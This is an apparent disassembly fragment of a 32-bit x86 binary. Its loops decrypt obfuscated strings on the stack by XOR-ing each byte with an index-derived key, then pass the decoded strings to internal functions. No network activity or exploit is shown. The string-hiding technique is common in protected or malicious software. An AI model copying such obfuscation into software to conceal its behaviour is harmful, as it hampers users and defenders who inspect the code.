paddd xmm2, xmm4
movaps xmm1, xmm2
movaps xmm0, xmm2
punpckldq xmm1, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm3
pmuldq xmm1, xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movaps xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm5
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm0, xmm0, 0xd8
pshufd xmm1, xmm0, 0xd8
andps xmm1, xmmword [0x101f8eb0]
packuswb xmm1, xmm1
movd xmm0, ecx
paddb xmm1, xmm0
movd xmm0, dword [esp + edx + 0x204]
xorps xmm1, xmm0
movd dword [esp + edx + 0x204], xmm1
add edx, 8
cmp edx, 0x40
jl 0x101063c0
jmp 0x101064fe
mov eax, 0x8fb823ef
imul edx
add edx, dword [esp + 0x10]
sar edx, 5
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [esp + 0x10]
movsx eax, al
mov cl, dl
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + edx + 0x200], cl
inc edx
mov dword [esp + 0x10], edx
cmp edx, 0x45
jl 0x101064d0
mov ax, word [0x101ee768]
mov edi, dword [0x10224ca0]
movq xmm0, qword [0x101ee760]
add edi, 0x36ec
mov word [esp + 0x1a0], ax
xor ebx, ebx
mov al, byte [0x101ee76a]
mov dword [esp + 0x10], edi
mov byte [esp + 0x1a2], al
movq qword [esp + 0x198], xmm0
mov eax, 0x1f7047dd
mov cl, bl
mul ebx
mov eax, ebx
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 5
movsx eax, al
imul eax, eax, 0x39
sub cl, al
add cl, 0x30
xor byte [esp + ebx + 0x198], cl
inc ebx
cmp ebx, 0xb
jl 0x10106544
xorps xmm0, xmm0
mov dword [esp + 0x6f0], 0
lea ecx, [esp + 0x198]
mov dword [esp + 0x6f4], 0
movups xmmword [esp + 0x6e0], xmm0
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101065a0
sub ecx, edx
lea eax, [esp + 0x198]
push ecx
push eax
lea ecx, [esp + 0x6e8]
call fcn.10027940
cmp dword [esp + 0x6f4], 0xf
lea eax, [esp + 0x6e0]
lea edx, [esp + 0x200]
cmova eax, dword [esp + 0x6e0]
xor esi, esi
cmp byte [esp + 0x200], 0
mov dword [esp + 0x14], eax
je 0x1010660a
mov dword [esp + 0x10], edi
mov ecx, edx
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x101065f5
sub ecx, edi
inc edx
add edx, ecx
inc esi
cmp byte [edx], al
jne 0x101065f0
mov eax, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
lea ecx, [esp + 0x200]
push 1
push 0xffffffffffffffff
push esi
push ecx
push 0x1016ee10
mov ecx, eax
call fcn.1016ee70
mov ecx, dword [esp + 0x6f4]
cmp ecx, 0xf
jbe 0x10106663
mov edx, dword [esp + 0x6e0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10106659
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1010a8a1
push ecx
push edx
call fcn.1019a58d
add esp, 8
mov eax, dword [0x10224ca0]
mov dword [esp + 0x6f0], 0
mov dword [esp + 0x6f4], 0xf
mov byte [esp + 0x6e0], 0
cmp dword [eax + 0x36ec], 9
jne 0x10106ca0
cmp byte [0x101eeca7], 0
lea esi, [eax + 0x36f0]
movups xmm0, xmmword [0x101eec94]
mov eax, dword [0x101eeca4]
mov edi, dword [0x10225d40]
movups xmmword [esp + 0x5a4], xmm0
mov dword [esp + 0x5b4], eax
je 0x1010684b
mov ecx, dword [0x103501f8]
mov eax, dword [ecx + 0x1bec]
dec dword [eax + 0xe0]
movups xmm0, xmmword [0x101efcc0]
mov ax, word [0x101efcd0]
mov esi, dword [0x10224ca0]
mov edi, dword [0x10225d40]
mov word [esp + 0x530], ax
movups xmmword [esp + 0x520], xmm0
test ah, ah
je 0x10106e6b
call fcn.1019f6c6
int3